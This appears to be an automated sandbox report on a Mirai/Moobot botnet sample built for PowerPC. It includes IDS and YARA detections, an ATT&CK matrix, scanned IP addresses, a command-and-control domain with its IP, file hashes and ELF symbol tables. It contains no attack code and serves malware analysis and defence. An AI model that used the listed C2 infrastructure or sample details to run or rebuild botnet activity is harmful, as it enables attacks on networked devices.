Source: unknown	Network traffic detected: HTTP traffic on port 43700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36164 -> 37215

Source: /tmp/bykReYf85u.elf (PID: 5484)

Queries kernel information via 'uname':

Jump to behavior

Source: bykReYf85u.elf, 5484.1.000055bf29b65000.000055bf29c15000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc11!hotpluggableq
Source: bykReYf85u.elf, 5484.1.00007ffdd9978000.00007ffdd9999000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/bykReYf85u.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/bykReYf85u.elf
Source: bykReYf85u.elf, 5484.1.000055bf29b65000.000055bf29c15000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: bykReYf85u.elf, 5484.1.00007ffdd9978000.00007ffdd9999000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: bykReYf85u.elf, type: SAMPLE
Source: Yara match	File source: 5484.1.00007fa5c0001000.00007fa5c0015000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bykReYf85u.elf PID: 5484, type: MEMORYSTR

Yara detected Moobot

Source: Yara match	File source: bykReYf85u.elf, type: SAMPLE
Source: Yara match	File source: 5484.1.00007fa5c0001000.00007fa5c0015000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bykReYf85u.elf PID: 5484, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Yara detected Mirai

Source: Yara match	File source: bykReYf85u.elf, type: SAMPLE
Source: Yara match	File source: 5484.1.00007fa5c0001000.00007fa5c0015000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bykReYf85u.elf PID: 5484, type: MEMORYSTR

Yara detected Moobot

Source: Yara match	File source: bykReYf85u.elf, type: SAMPLE
Source: Yara match	File source: 5484.1.00007fa5c0001000.00007fa5c0015000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bykReYf85u.elf PID: 5484, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	2 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
bykReYf85u.elf	55%	ReversingLabs	Linux.Trojan.Mirai
bykReYf85u.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
khongphaibotnet.servehttp.com	103.238.235.163	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	bykReYf85u.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	bykReYf85u.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.215.24.220	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
157.2.162.240	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
32.146.20.200	unknown	United States	2686	ATGS-MMD-ASUS	false
41.111.106.206	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.245.169.87	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
157.142.61.247	unknown	United States	16922	OUHSC-EDUUS	false
157.66.235.104	unknown	unknown	4713	OCNNTTCommunicationsCorporationJP	false
41.198.16.229	unknown	South Africa	36877	IWAY_AFRICAZA	false
157.249.142.154	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
141.71.118.160	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
197.165.44.37	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.145.120.195	unknown	South Africa	5713	SAIX-NETZA	false
41.119.144.195	unknown	South Africa	16637	MTNNS-ASZA	false
197.60.107.84	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.140.93.140	unknown	Morocco	36903	MT-MPLSMA	false
157.78.145.17	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
101.101.177.245	unknown	Korea Republic of	135354	NBPAP-AS-APNAVERBUSINESSPLATFORMASIAPACIFICPTELTD	false
197.188.96.5	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
200.13.169.233	unknown	El Salvador	27773	MILLICOMCABLEELSALVADORSADECVSV	false
41.169.103.224	unknown	South Africa	36937	Neotel-ASZA	false
157.199.114.220	unknown	United States	3356	LEVEL3US	false
41.20.250.192	unknown	South Africa	36994	Vodacom-VBZA	false
197.207.242.227	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.37.178.104	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
197.179.242.13	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.14.214.59	unknown	South Africa	29975	VODACOM-ZA	false
157.153.77.196	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
197.185.129.179	unknown	South Africa	37105	NEOLOGY-ASZA	false
195.108.9.168	unknown	Netherlands	702	UUNETUS	false
197.165.117.112	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.12.1.14	unknown	South Africa	29975	VODACOM-ZA	false
139.244.72.217	unknown	United States	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
157.108.58.205	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
134.197.72.101	unknown	United States	3851	NSHE-NEVADANETUS	false
157.210.255.208	unknown	United States	4704	SANNETRakutenMobileIncJP	false
17.167.173.128	unknown	United States	714	APPLE-ENGINEERINGUS	false
157.37.88.52	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.170.51.15	unknown	South Africa	36937	Neotel-ASZA	false
41.224.35.121	unknown	Tunisia	37492	ORANGE-TN	false
91.210.155.64	unknown	Russian Federation	201146	LOPNETSE	false
98.39.11.73	unknown	United States	7922	COMCAST-7922US	false
2.193.246.144	unknown	Italy	16232	ASN-TIMServiceProviderIT	true
157.22.104.148	unknown	United States	397379	NLN-ASN-01US	false
41.17.101.3	unknown	South Africa	29975	VODACOM-ZA	false
197.129.247.36	unknown	Morocco	6713	IAM-ASMA	false
157.239.12.52	unknown	United States	10968	CARGILL-NETUS	false
75.185.230.74	unknown	United States	10796	TWC-10796-MIDWESTUS	false
197.31.187.186	unknown	Tunisia	37492	ORANGE-TN	false
213.29.67.171	unknown	Czech Republic	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
41.145.34.44	unknown	South Africa	5713	SAIX-NETZA	false
157.112.100.91	unknown	Japan	58793	NIFCLOUD-NETFUJITSUCLOUDTECHNOLOGIESLIMITEDJP	false
157.126.150.163	unknown	United States	1738	OKOBANK-ASEU	false
157.81.115.168	unknown	unknown	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.77.185.3	unknown	South Africa	16637	MTNNS-ASZA	false
157.117.69.131	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
43.201.32.15	unknown	Japan	4249	LILLY-ASUS	false
197.191.9.220	unknown	Ghana	37140	zain-asGH	false
145.163.83.170	unknown	Netherlands	59524	KPN-IAASNL	false
197.197.91.129	unknown	Egypt	36992	ETISALAT-MISREG	false
41.149.203.27	unknown	South Africa	5713	SAIX-NETZA	false
197.19.253.157	unknown	Tunisia	37693	TUNISIANATN	false
41.249.56.8	unknown	Morocco	36903	MT-MPLSMA	false
41.108.136.196	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.128.148.179	unknown	Egypt	24863	LINKdotNET-ASEG	false
118.8.46.193	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
157.211.157.116	unknown	Australia	7573	UTASTheUniversityofTasmaniaAU	false
197.211.42.17	unknown	Nigeria	37148	globacom-asNG	true
41.158.143.138	unknown	Gabon	16058	Gabon-TelecomGA	false
157.6.224.3	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.172.80.245	unknown	South Africa	36937	Neotel-ASZA	false
87.10.38.67	unknown	Italy	3269	ASN-IBSNAZIT	false
157.84.5.194	unknown	United Kingdom	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
25.52.39.169	unknown	United Kingdom	7922	COMCAST-7922US	false
41.94.138.68	unknown	Mozambique	327700	MoRENetMZ	false
197.55.171.154	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.224.152.209	unknown	Tunisia	37492	ORANGE-TN	false
9.73.7.180	unknown	United States	3356	LEVEL3US	false
157.190.28.138	unknown	Ireland	1213	HEANETIE	false
154.128.168.164	unknown	Egypt	37069	MOBINILEG	false
186.43.59.174	unknown	Colombia	27695	EDATELSAESPCO	false
157.147.0.175	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
157.23.192.5	unknown	France	7091	VIANET-ASNUS	false
197.31.22.2	unknown	Tunisia	37492	ORANGE-TN	false
197.202.209.133	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.179.7.193	unknown	Thailand	55642	CONTROL-DATA-CSLOXINFO-AS-THControlDataThailandLtdTH	false
197.53.207.208	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.77.181.170	unknown	Algeria	36974	AFNET-ASCI	false
143.137.213.104	unknown	Brazil	264053	CentertelMaisTelecomLTDA-MEBR	false
41.102.173.29	unknown	Algeria	36947	ALGTEL-ASDZ	false
64.191.92.233	unknown	United States	53828	NITELUS	false
41.23.253.54	unknown	South Africa	29975	VODACOM-ZA	false
207.173.75.91	unknown	United States	16784	INETZUS	false
219.78.200.221	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
85.158.129.50	unknown	Bahrain	35019	BIX-ASBH	false
197.237.196.206	unknown	Kenya	15399	WANANCHI-KE	false
197.87.221.186	unknown	South Africa	10474	OPTINETZA	false
157.248.204.190	unknown	United States	32934	FACEBOOKUS	false
41.205.2.122	unknown	Cameroon	30992	MTN-NS-CAMEROONCM	false
74.202.48.142	unknown	United States	32899	BRESCOBROADBANDUS	false
197.20.132.154	unknown	Tunisia	37693	TUNISIANATN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.198.16.229	93g0DCqh1e.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.9999.20942.27288.elf	Get hash	malicious	Mirai	Browse
	iojdGF3xsj.elf	Get hash	malicious	Mirai	Browse
	pgJBMliF8Q.elf	Get hash	malicious	Mirai	Browse
41.215.24.220	IoHx7ohf9n.elf	Get hash	malicious	Mirai, Moobot	Browse
157.249.142.154	2u3VuMKE7U.elf	Get hash	malicious	Mirai	Browse
157.249.142.154	pYctEywHaF.elf	Get hash	malicious	Mirai, Moobot	Browse
197.165.44.37	yAnWn3BP4r.elf	Get hash	malicious	Mirai, Moobot	Browse
197.165.44.37	bk.arm5-20220930-0405.elf	Get hash	malicious	Mirai	Browse
157.245.169.87	mirai.arm7.elf	Get hash	malicious	Mirai	Browse
41.145.120.195	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	U3FsHbHDDh.elf	Get hash	malicious	Mirai	Browse
	ak.arm7-20220924-1810.elf	Get hash	malicious	Mirai	Browse
	db0fa4b8db0333367e9bda3ab68b8042.spc	Get hash	malicious	Mirai	Browse
	xmogum.x86	Get hash	malicious	Gafgyt Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
khongphaibotnet.servehttp.com	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	103.238.235.163

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	205.185.120.123-skid.x86-2024-07-27T10_33_39.elf	Get hash	malicious	Mirai, Moobot	Browse	197.254.119.38
	205.185.120.123-skid.arm7-2024-07-27T10_33_43.elf	Get hash	malicious	Mirai, Moobot	Browse	197.254.120.32
	205.185.120.123-skid.mpsl-2024-07-27T08_45_37.elf	Get hash	malicious	Mirai, Moobot	Browse	41.215.35.86
	94.156.8.9-skid.arm5-2024-07-23T17_40_09.elf	Get hash	malicious	Mirai, Moobot	Browse	41.215.112.195
	94.156.8.9-skid.x86_64-2024-07-23T17_40_08.elf	Get hash	malicious	Mirai, Moobot	Browse	41.215.59.60
	94.156.8.9-skid.x86-2024-07-23T17_40_07.elf	Get hash	malicious	Mirai, Moobot	Browse	41.215.59.59
	EKi4eGLprr.elf	Get hash	malicious	Mirai, Okiru	Browse	41.215.60.25
	http://15.235.203.214/bolonetwork.x86	Get hash	malicious	Unknown	Browse	197.254.107.63
	bolonetwork.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	41.206.61.213
	bolonetwork.arm.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	197.254.107.10
ATGS-MMD-ASUS	g5uOcyfEnL.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	Agreement-Settlement.pdf	Get hash	malicious	Unknown	Browse	34.36.216.150
	g5uOcyfEnL.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	Dekont.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	34.160.17.71
	RFQ-9877678-9988876509886546887.exe	Get hash	malicious	FormBook	Browse	34.149.87.45
	RFQ-9877678-9988876509886546884.exe	Get hash	malicious	FormBook	Browse	34.149.87.45
	tskkBsBcET.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	tskkBsBcET.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	b2bXo6vmDm.exe	Get hash	malicious	SystemBC	Browse	34.160.41.39
	https://eu.docusign.net	Get hash	malicious	Unknown	Browse	34.49.241.189
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	157.8.94.219
	setup8803165981.exe	Get hash	malicious	Unknown	Browse	60.221.231.169
	sora.x86.elf	Get hash	malicious	Mirai	Browse	139.215.70.44
	http://broad.qiaoleix.workers.dev/	Get hash	malicious	Unknown	Browse	60.13.97.138
	c35Dw4AFtB.elf	Get hash	malicious	Mirai	Browse	183.187.172.254
	WizDKOmtwf.elf	Get hash	malicious	Mirai	Browse	39.65.72.10
	IHhk766U3Z.elf	Get hash	malicious	Unknown	Browse	221.213.227.140
	w0AGlV8xy5.elf	Get hash	malicious	Mirai	Browse	113.8.112.241
	arm7.elf	Get hash	malicious	Unknown	Browse	124.94.203.71
	x86.elf	Get hash	malicious	Unknown	Browse	115.103.230.125

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
Entropy (8bit):	6.103462759801241
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	bykReYf85u.elf
File size:	107'520 bytes
MD5:	592fa112ee228a7e191278838e11c1b8
SHA1:	c495a1672435d3f5a48a415180f0220c1b57ddcd
SHA256:	60c1d4db94cdfa5e5d66af4fe4ede8b07086a75049d20ad393ece00d203a6e00
SHA512:	1d67c6b5ff74e870459a46be9fcb788000e5ffada22a36ae561362b582504b0ad09b78bd1f59ddc676974ca95f871e1d148ce1c26220546b3145594921fae1e2
SSDEEP:	1536:NJE0HFCDUOJ8AV3guNZB95NCuAn/xF/87o0lCiLhKEP5L:jE0HUD9ggL95mN8FwGR
TLSH:	95B33A12B3290917D09B69B015EF5BF183B6ECD02AF2B208651EBFD41773BB52485F86
File Content Preview:	.ELF...........................4..N(.....4. ...(......................2...2...............@...@...@.......-d..............@T..@T..@T................dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.........C ..../...@..`= .

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x10000218
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	4
Section Header Offset:	85544
Section Header Size:	40
Number of Section Headers:	19
Header String Table Index:	16

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x100000b4	0xb4	0x24	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x100000d8	0xd8	0x10f08	0x0	0x6	AX	0	0	4
.fini	PROGBITS	0x10010fe0	0x10fe0	0x20	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x10011000	0x11000	0x22b0	0x0	0x2	A	0	0	8
.eh_frame	PROGBITS	0x10024000	0x14000	0x54	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x10024054	0x14054	0x8	0x0	0x403	WAT	0	0	4
.ctors	PROGBITS	0x10024054	0x14054	0x8	0x0	0x3	WA	0	0	4
.dtors	PROGBITS	0x1002405c	0x1405c	0x8	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x10024064	0x14064	0x4	0x0	0x3	WA	0	0	4
.data	PROGBITS	0x10024068	0x14068	0x1c8	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x10024230	0x14230	0x10	0x4	0x7	WAX	0	0	4
.sdata	PROGBITS	0x10024240	0x14240	0x4c	0x0	0x3	WA	0	0	4
.sbss	NOBITS	0x1002428c	0x1428c	0x94	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x10024320	0x1428c	0x2a44	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x1428c	0xb1c	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x14da8	0x7e	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x15120	0x2ef0	0x10	0x0		18	271	4
.strtab	STRTAB	0x0	0x18010	0x23f0	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0x132b0	0x132b0	6.3099	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14000	0x10024000	0x10024000	0x28c	0x2d64	4.0483	0x7	RWE	0x10000	.eh_frame .tbss .ctors .dtors .jcr .data .got .sdata .sbss .bss
TLS	0x14054	0x10024054	0x10024054	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x100000b4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x100000d8	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x10010fe0	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x10011000	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x10024000	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x10024054	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x10024054	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x1002405c	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x10024064	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x10024068	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x10024230	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x10024240	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x1002428c	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x10024320	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
C.3.5322	.symtab	0x10012ec0	12	OBJECT	<unknown>	DEFAULT	4
C.3.6030	.symtab	0x10011e68	12	OBJECT	<unknown>	DEFAULT	4
C.3.6052	.symtab	0x10013204	12	OBJECT	<unknown>	DEFAULT	4
C.3.6106	.symtab	0x100131f8	12	OBJECT	<unknown>	DEFAULT	4
C.4.5416	.symtab	0x10011e50	24	OBJECT	<unknown>	DEFAULT	4
C.4.6053	.symtab	0x10013210	12	OBJECT	<unknown>	DEFAULT	4
C.5.4586	.symtab	0x10011ca0	12	OBJECT	<unknown>	DEFAULT	4
C.6.4587	.symtab	0x10011d84	12	OBJECT	<unknown>	DEFAULT	4
C.6.6061	.symtab	0x1001321c	12	OBJECT	<unknown>	DEFAULT	4
C.7.4588	.symtab	0x10011d78	12	OBJECT	<unknown>	DEFAULT	4
C.7.5462	.symtab	0x10012ecc	12	OBJECT	<unknown>	DEFAULT	4
GET_UID	.symtab	0x10024298	1	OBJECT	<unknown>	DEFAULT	13
LOCAL_ADDR	.symtab	0x10024294	4	OBJECT	<unknown>	DEFAULT	13
_Exit	.symtab	0x10007810	92	FUNC	<unknown>	DEFAULT	2
_GLOBAL_OFFSET_TABLE_	.symtab	0x10024234	0	OBJECT	<unknown>	HIDDEN	11
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_SDA_BASE_	.symtab	0x1002c240	0	NOTYPE	<unknown>	DEFAULT	12
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__CTOR_END__	.symtab	0x10024058	0	OBJECT	<unknown>	DEFAULT	7
__CTOR_LIST__	.symtab	0x10024054	0	OBJECT	<unknown>	DEFAULT	7
__C_ctype_b	.symtab	0x10024268	4	OBJECT	<unknown>	DEFAULT	12
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x10012ef8	768	OBJECT	<unknown>	DEFAULT	4
__DTOR_END__	.symtab	0x10024060	0	OBJECT	<unknown>	DEFAULT	8
__DTOR_LIST__	.symtab	0x1002405c	0	OBJECT	<unknown>	DEFAULT	8
__EH_FRAME_BEGIN__	.symtab	0x10024000	0	OBJECT	<unknown>	DEFAULT	5
__FRAME_END__	.symtab	0x10024050	0	OBJECT	<unknown>	DEFAULT	5
__GI___C_ctype_b	.symtab	0x10024268	4	OBJECT	<unknown>	HIDDEN	12
__GI___close	.symtab	0x1000c2e0	116	FUNC	<unknown>	HIDDEN	2
__GI___close_nocancel	.symtab	0x1000c2ec	16	FUNC	<unknown>	HIDDEN	2
__GI___ctype_b	.symtab	0x1002426c	4	OBJECT	<unknown>	HIDDEN	12
__GI___errno_location	.symtab	0x10007fe4	20	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x100076b0	116	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x1000f66c	312	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x100098ec	48	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x1000c2e0	116	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x10007724	236	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x1000c354	132	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x1000c45c	132	FUNC	<unknown>	HIDDEN	2
__GI___libc_waitpid	.symtab	0x1001003c	132	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x1000c3d8	132	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x1000c354	132	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x1000c360	16	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x1000c45c	132	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x1000c468	16	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x1000c65c	144	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x1000c74c	100	FUNC	<unknown>	HIDDEN	2
__GI___waitpid	.symtab	0x1001003c	132	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x1000c3d8	132	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x1000c3e4	16	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x1000991c	284	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x10007810	92	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x1000b2e8	248	FUNC	<unknown>	HIDDEN	2
__GI_accept	.symtab	0x10009aac	120	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x10009b24	52	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x10010540	52	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x1000c2e0	116	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x10007c10	212	FUNC	<unknown>	HIDDEN	2
